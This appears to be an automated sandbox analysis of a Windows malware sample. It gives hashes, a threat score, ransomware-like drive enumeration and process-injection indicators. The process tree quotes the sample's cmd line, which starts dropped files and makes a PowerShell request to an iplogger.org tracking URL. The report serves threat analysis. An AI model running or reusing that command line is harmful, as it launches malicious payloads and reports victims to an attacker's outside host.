f643cf2250b1ece8e720df93180962e563c6c1e587f4e42af47e4c26ed4ab861

Analysis

Target
109020f2c96e3a7cf9a25d1beb5ca27c.exe
Size 2.3MB
Sample210330-e5zahsy7x6
SHA256 f643cf2250b1ece8e720df93180962e563c6c1e587f4e42af47e4c26ed4ab861
MD5 109020f2c96e3a7cf9a25d1beb5ca27c
SHA1 9ba93dbf4b93a7abb3a417f87c0caec21d8b9463
SHA512 772b528aaece13ae88c50e1e0a5dccff6d76d2894401662e80c99c520cd345f586530ac3ebfd7a003a305cdd9ef720be4bd9600893ef58e18524cc214c2ee3fb
MD5 SHA1 SHA512

Score

7^/10

Loads dropped DLL 1 IoCs

pid	Process
4688	109020f2c96e3a7cf9a25d1beb5ca27c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4688 wrote to memory of 3496	4688	109020f2c96e3a7cf9a25d1beb5ca27c.exe	74
PID 4688 wrote to memory of 3496	4688	109020f2c96e3a7cf9a25d1beb5ca27c.exe	74
PID 4688 wrote to memory of 3496	4688	109020f2c96e3a7cf9a25d1beb5ca27c.exe	74

C:\Users\Admin\AppData\Local\Temp\109020f2c96e3a7cf9a25d1beb5ca27c.exe
"C:\Users\Admin\AppData\Local\Temp\109020f2c96e3a7cf9a25d1beb5ca27c.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4688
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c start "" "cr.dll" & start "" "e.exe" & start "" "up.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1fEba7"
  2⤵
  PID:3496

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact